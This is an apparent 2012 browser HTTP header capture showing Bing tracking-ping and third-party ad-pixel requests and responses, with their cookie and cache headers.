Set-Cookie: MUID=28A467A70F8D6B9C1F16645D0C8D6BFA; domain=.bing.com; expires=Sat, 08-Nov-2014 03:16:21 GMT; path=/;
ANONCHK=0; domain=c.bing.com; expires=Sun, 11-Nov-2012 03:16:21 GMT; path=/;
Date: Thu, 08 Nov 2012 03:16:21 GMT
Content-Length: 42
GET /fd/ls/GLinkPing.aspx?CM=TMF&IG=e1ce56d58006481b974acf9edb755440&CID=3218EB902A59673F08F3EF822B5E670E HTTP/1.1

Host: www.bing.com
GET /fd/ls/GLinkPing.aspx?CM=TMF&amp;IG=e1ce56d58006481b974acf9edb755440&amp;CID=3218EB902A59673F08F3EF822B5E670E HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
Cookie: _HOP=; _FP=EM=1; _FS=NU=1; _SS=SID=CF6EB50C24764B21866F41CBE347B854&amp;bIm=483813; MUID=28A467A70F8D6B9C1F16645D0C8D6BFA; OrigMUID=3218EB902A59673F08F3EF822B5E670E%2ce1ce56d58006481b974acf9edb755440; SRCHD=MS=2553316&amp;D=2553316&amp;AF=NOFORM; SRCHUID=V=2&amp;GUID=3C77043B332E444984EF9D7C60E340E4; SRCHUSR=AUTOREDIR=0&amp;GEOVAR=&amp;DOB=20121108; SCRHDN=ASD=0&amp;DURL=#; RMS=F=GAAAAAAAAABB
 
HTTP/1.1 200 OK

Content-Type: image/gif

Cache-Control: no-cache
Pragma: no-cache
Expires: Sun, 12 Oct 2003 00:00:00 GMT
P3P: CP=&quot;NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND&quot;
Content-Length: 42
Date: Thu, 08 Nov 2012 03:16:21 GMT
Connection: keep-alive
Set-Cookie: OrigMUID=; expires=Thu, 01-Jan-1970 00:00:00 GMT; domain=.bing.com; path=/
_FS=NU=1; domain=.bing.com; path=/
SRCHD=SM=1&amp;MS=2553316&amp;D=2553316&amp;AF=NOFORM; expires=Sat, 08-Nov-2014 03:16:21 GMT; domain=.bing.com; path=/
GET /pix?cid=1237&uid=28A467A70F8D6B9C1F16645D0C8D6BFA HTTP/1.1

Host: cms.abmr.net
GET /pix?cid=1237&amp;uid=28A467A70F8D6B9C1F16645D0C8D6BFA HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bing.com/
 
HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 0
Expires: Thu, 08 Nov 2012 03:16:21 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 08 Nov 2012 03:16:21 GMT
Connection: keep-alive
Set-Cookie: 01AI=30KM9XZ9KyEimOLi2L9eajjSqwUt6x2ki-E-2gGhgBbNJKUXrBHqPow; expires=Fri, 08-Nov-2013 03:16:21 GMT; path=/; domain=.abmr.net